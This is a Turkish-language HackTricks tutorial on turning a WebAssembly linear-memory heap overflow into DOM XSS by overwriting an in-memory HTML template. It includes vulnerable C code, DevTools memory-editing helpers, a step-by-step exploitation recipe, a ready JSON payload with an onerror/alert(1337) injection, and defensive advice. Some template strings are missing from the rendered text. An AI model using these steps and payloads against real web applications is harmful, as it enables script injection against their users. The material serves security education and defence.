WebAssembly linear memory corruption ile DOM XSS (template overwrite)

Reading time: 8 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Bu teknik, Emscripten ile derlenmiş bir WebAssembly (WASM) modülü içindeki bir bellek-bozulma bug'ının, giriş sanitize edilmiş olsa bile güvenilir bir DOM XSS'e nasıl dönüştürülebileceğini gösterir. Pivot, sanitize edilmiş kaynak stringe saldırmak yerine WASM linear memory içindeki yazılabilir constants'ları (ör. HTML format templates) bozmak.

Ana fikir: WebAssembly modelinde kod, yazılamayan executable sayfalarda bulunur; ancak modülün verileri (heap/stack/globals/"constants") tek bir düz linear memory'de (64KB sayfalar) yer alır ve modül tarafından yazılabilir. Eğer hatalı C/C++ kodu out-of-bounds yazarsa, bitişik objeleri ve hatta linear memory içine gömülü constant stringleri overwrite edebilirsiniz. Böyle bir constant daha sonra bir DOM sink aracılığıyla insert için HTML oluşturmakta kullanıldığında, sanitize edilmiş girdiyi çalıştırılabilir JavaScript'e dönüştürebilirsiniz.

Tehdit modeli ve önkoşullar

  • Web uygulaması, bir WASM modülünü çağırmak için Emscripten glue (Module.cwrap) kullanır.
  • Uygulama durumu WASM linear memory içinde yaşar (ör. user buffer'lara işaretçiler/uzunluk içeren C structs).
  • Girdi sanitizer'ı depolamadan önce metakarakterleri encode eder, ancak sonraki render aşamasında WASM linear memory içinde depolanan bir format string kullanılarak HTML oluşturulur.
  • Bir linear-memory corruption primitive mevcut (ör. heap overflow, UAF veya unchecked memcpy).

Minimal zafiyetli veri modeli (örnek)

c
typedef struct msg {
char *msg_data;       // pointer to message bytes
size_t msg_data_len;  // length after sanitization
int msg_time;         // timestamp
int msg_status;       // flags
} msg;

typedef struct stuff {
msg *mess;            // dynamic array of msg
size_t size;          // used
size_t capacity;      // allocated
} stuff; // global chat state in linear memory

Zafiyetli mantık deseni

  • addMsg(): sanitize edilmiş input boyutuna göre yeni bir buffer ayırır ve s.mess'e bir msg ekler; gerektiğinde realloc ile kapasiteyi iki katına çıkarır.
  • editMsg(): yeni baytları yeniden sanitize eder ve memcpy ile mevcut buffera kopyalar; yeni uzunluğun eski tahsise ≤ olduğunu garanti etmez → intra‑linear‑memory heap overflow.
  • populateMsgHTML(): sanitize edilmiş metni, linear memory içinde bulunan "

    %.*s

    " gibi gömülü bir stub ile formatlar. Dönen HTML bir DOM sink'ine (ör. innerHTML) gider.

Allocator grooming with realloc()

c
int add_msg_to_stuff(stuff *s, msg new_msg) {
if (s->size >= s->capacity) {
s->capacity *= 2;
s->mess = (msg *)realloc(s->mess, s->capacity * sizeof(msg));
if (s->mess == NULL) exit(1);
}
s->mess[s->size++] = new_msg;
return s->size - 1;
}
  • Başlangıç kapasitesini aşacak kadar mesaj gönder. Büyüme sonrası realloc() genellikle s->mess'i linear memory'deki son kullanıcı buffer'ının hemen sonrasına yerleştirir.
  • Son mesajı editMsg() ile overflow ederek s->mess içindeki alanları boz (ör. msg_data pointer'larını overwrite et) → daha sonra render edilecek veriler için linear memory içinde keyfi pointer yeniden yazımı.

Exploit pivot: overwrite the HTML template (sink) instead of the sanitized source

  • Sanitization girişi korur, sink'leri değil. populateMsgHTML() tarafından kullanılan format stub'ını bul, örneğin:
  • "

    %.*s

    " → change to ""
  • Stub'ı deterministik şekilde linear memory'yi tarayarak bul; Module.HEAPU8 içinde düz bir byte string olarak bulunur.
  • Stub'ı overwrite ettikten sonra, sanitize edilmiş mesaj içeriği onerror için JavaScript handler'ı olur; bu yüzden alert(1337) gibi bir metinle yeni bir mesaj eklemek üretir ve DOM'da hemen çalışır.

Chrome DevTools workflow (Emscripten glue)

  • JS glue içindeki ilk Module.cwrap çağrısında breakpoint koy ve wasm çağrı noktasına adım atarak pointer argümanlarını yakala (linear memory içindeki sayısal offset'ler).
  • Konsoldan WASM belleğini okumak/yazmak için Module.HEAPU8 gibi typed view'ları kullan.
  • Yardımcı snippet'lar:
javascript
function writeBytes(ptr, byteArray){
if(!Array.isArray(byteArray)) throw new Error("byteArray must be an array of numbers");
for(let i=0;i<byteArray.length;i++){
const byte = byteArray[i];
if(typeof byte!=="number"||byte<0||byte>255) throw new Error(`Invalid byte at index ${i}: ${byte}`);
HEAPU8[ptr+i]=byte;
}
}
function readBytes(ptr,len){ return Array.from(HEAPU8.subarray(ptr,ptr+len)); }
function readBytesAsChars(ptr,len){
const bytes=HEAPU8.subarray(ptr,ptr+len);
return Array.from(bytes).map(b=>(b>=32&&b<=126)?String.fromCharCode(b):'.').join('');
}
function searchWasmMemory(str){
const mem=Module.HEAPU8, pat=new TextEncoder().encode(str);
for(let i=0;i<mem.length-pat.length;i++){
let ok=true; for(let j=0;j<pat.length;j++){ if(mem[i+j]!==pat[j]){ ok=false; break; } }
if(ok) console.log(`Found "${str}" at memory address:`, i);
}
console.log(`"${str}" not found in memory`);
return -1;
}
const a = bytes => bytes.reduce((acc, b, i) => acc + (b << (8*i)), 0); // little-endian bytes -> int

Uçtan uca exploitation tarifi

  1. Hazırlık: N küçük mesaj ekleyin realloc() tetiklemek için. s->mess'in bir kullanıcı buffer'ının bitişiğinde olduğundan emin olun.
  2. Overflow: editMsg()'i son mesaj üzerinde daha uzun bir payload ile çağırarak s->mess içindeki bir girişi overwrite edin; böylece message 0'ın msg_data'sı (stub_addr + 1)'i gösterecek şekilde ayarlanır. +1, sonraki edit sırasında tag hizalamasını korumak için baştaki '<' karakterini atlar.
  3. Template rewrite: mesaj 0'ı düzenleyin, böylece byte'ları template'i şu içerikle overwrite etsin: "img src=1 onerror=%.*s ".
  4. Trigger XSS: sanitize edilmiş içeriği JavaScript olan yeni bir mesaj ekleyin, örn alert(1337). Rendering üretir ve çalıştırır.

Örnek eylem listesi ?s= içine serialize edilip yerleştirilecek (kullanmadan önce btoa ile Base64-encode edin)

json
[
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"edit","msgId":10,"content":"aaaaaaaaaaaaaaaa.\u0000\u0001\u0000\u0050","time":1756885686080},
{"action":"edit","msgId":0,"content":"img src=1      onerror=%.*s ","time":1756885686080},
{"action":"add","content":"alert(1337)","time":1756840476392}
]

Bu bypass neden işe yarıyor

  • WASM linear memory'den kod çalıştırılmasını engeller, ancak program mantığı hatalıysa linear memory içindeki constant data yazılabilir.
  • Sanitizer sadece source string'i korur; sink'i (the HTML template) bozarak, sanitized input JS handler değeri olur ve DOM'a eklendiğinde çalışır.
  • realloc()-driven adjacency ile edit flow'larındaki unchecked memcpy birleştirildiğinde pointer corruption'a izin vererek yazıları attacker-chosen adreslere, linear memory içinde yeniden yönlendirmek mümkün olur.

Generalization and other attack surface

  • linear memory'ye gömülü herhangi bir in-memory HTML template, JSON skeleton veya URL pattern hedef alınabilir; böylece sanitized data'nın downstream'da nasıl yorumlandığı değiştirilebilir.
  • Diğer yaygın WASM tuzakları: linear memory'de out-of-bounds yazma/okuma, heap object'lerde UAF, unchecked indirect call indices ile function-table yanlış kullanımı ve JS↔WASM glue uyumsuzlukları.

Defensive guidance

  • Edit path'larda, new length ≤ capacity olduğunu doğrulayın; kopyalamadan önce buffer'ları yeniden boyutlandırın (realloc to new_len) veya size-bounded API'ler (snprintf/strlcpy) kullanın ve capacity'yi takip edin.
  • Immutable template'leri writable linear memory dışında tutun ya da kullanmadan önce integrity-check yapın.
  • JS↔WASM sınırlarını untrusted kabul edin: pointer ranges/lengths'i doğrulayın, exported interface'leri fuzz edin ve memory growth'i sınırlayın.
  • Sanitize'i sink'de yapın: WASM içinde HTML oluşturmaktan kaçının; innerHTML-style templating yerine güvenli DOM API'lerini tercih edin.
  • Privileged flow'lar için URL-embedded state'e güvenmekten kaçının.

References

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin